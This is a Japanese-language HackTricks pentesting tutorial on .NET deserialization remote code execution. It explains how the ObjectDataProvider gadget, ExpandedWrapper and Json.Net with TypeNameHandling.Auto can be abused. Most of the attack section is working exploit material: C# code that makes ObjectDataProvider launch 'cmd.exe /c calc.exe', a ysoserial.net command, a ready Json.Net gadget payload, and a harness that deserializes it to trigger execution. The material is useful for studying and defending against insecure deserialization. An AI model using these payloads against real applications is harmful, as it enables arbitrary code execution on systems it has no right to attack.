hacktricks/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
2023-07-07 23:42:27 +00:00

207 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 基本的な.NET逆シリアル化ObjectDataProviderガジェット、ExpandedWrapper、およびJson.Net
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
この記事は、**ObjectDataProviderガジェットを悪用してRCEを取得する方法**と、そのガジェットを使用して**SerializationライブラリであるJson.NetとxmlSerializerを悪用する方法**を理解するために捧げられています。
## ObjectDataProviderガジェット
ドキュメントによると_ObjectDataProviderクラスは、バインディングソースとして使用できるオブジェクトをラップおよび作成します。_\
はい、これは奇妙な説明ですので、このクラスが興味深いのは何を持っているか見てみましょう:このクラスは、**任意のオブジェクトをラップ**し、_**MethodParameters**_を使用して**任意のパラメータを設定**し、その後、任意のパラメータを使用して宣言された任意のオブジェクトの任意の関数を呼び出すために**MethodNameを使用**できます。\
したがって、任意の**オブジェクト**は、**逆シリアル化されながら**パラメータを持つ**関数**を**実行**します。
### **これが可能な理由**
ObjectDataProviderは、**PresentationFramework.dll**_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF_にある**System.Windows.Data**名前空間で定義および実装されています。
[**dnSpy**](https://github.com/0xd4d/dnSpy)を使用して、興味のあるクラスのコードを**検査**できます。以下の画像では、**PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**のコードを見ています。
![](<../../.gitbook/assets/image (299).png>)
`MethodName`が設定されると、`base.Refresh()`が呼び出されることがわかります。それが何をするか見てみましょう:
![](<../../.gitbook/assets/image (300).png>)
では、`this.BeginQuery()`が何をするのか見てみましょう。`BeginQuery`は`ObjectDataProvider`によってオーバーライドされ、以下のようになります:
![](<../../.gitbook/assets/image (301).png>)
コードの最後で`this.QueryWorke(null)`を呼び出していることに注意してください。これが実行するものを見てみましょう:
![](<../../.gitbook/assets/image (302) (1).png>)
`QueryWorker`関数の完全なコードではありませんが、興味深い部分が表示されています:コードは`this.InvokeMethodOnInstance(out ex);`を呼び出していることがわかります。これは、**設定されたメソッドが呼び出される**行です。
`MethodName`を設定するだけで実行されることを確認したい場合は、次のコードを実行できます:
```java
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
```
注意してください。`System.Windows.Data`をロードするために、参照として_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_を追加する必要があります。
## ExpandedWrapper
前の攻撃を使用すると、**オブジェクト**が_**ObjectDataProvider**_のインスタンスとして**デシリアライズされる**場合がありますたとえば、DotNetNukeの脆弱性では、XmlSerializerを使用してオブジェクトが`GetType`を使用してデシリアライズされました。その後、_ObjectDataProvider_インスタンスに**ラップされたオブジェクトの型に関する情報がない**場合があります(例えば、`Process`)。[DotNetNukeの脆弱性に関する詳細はこちらを参照してください](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1)。
このクラスは、指定されたインスタンスにカプセル化されたオブジェクトのオブジェクト型を**指定する**ことができます。したがって、このクラスは、ソースオブジェクト_ObjectDataProvider_を新しいオブジェクト型にカプセル化し、必要なプロパティ_ObjectDataProvider.MethodName_および_ObjectDataProvider.MethodParameters_を提供するために使用できます。\
これは、前述のようなケースに非常に便利です。なぜなら、\_ObjectDataProviderを\_ExpandedWrapperのインスタンスに**ラップ**し、このクラスを**デシリアライズ**すると、_MethodName_で指定された**関数**を実行する_ObjectDataProvider_オブジェクトが**作成**されるからです。
次のコードでこのラッパーを確認できます:
```java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
```
## Json.Net
[公式ウェブページ](https://www.newtonsoft.com/json)には、このライブラリを使用してJson.NETの強力なJSONシリアライザを使用して、任意の.NETオブジェクトをシリアライズおよびデシリアライズできると記載されています。したがって、ObjectDataProviderガジェットをデシリアライズできれば、オブジェクトをデシリアライズするだけでRCEを引き起こすことができます。
### Json.Netの例
まず、このライブラリを使用してオブジェクトをシリアライズ/デシリアライズする方法の例を見てみましょう:
```java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
```
### Json.Netの悪用
[ysoserial.net](https://github.com/pwntester/ysoserial.net)を使用して、以下のエクスプロイトを作成しました:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
このコードでは、**エクスプロイトをテスト**することができます。実行すると、calcが実行されることがわかります。
```java
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>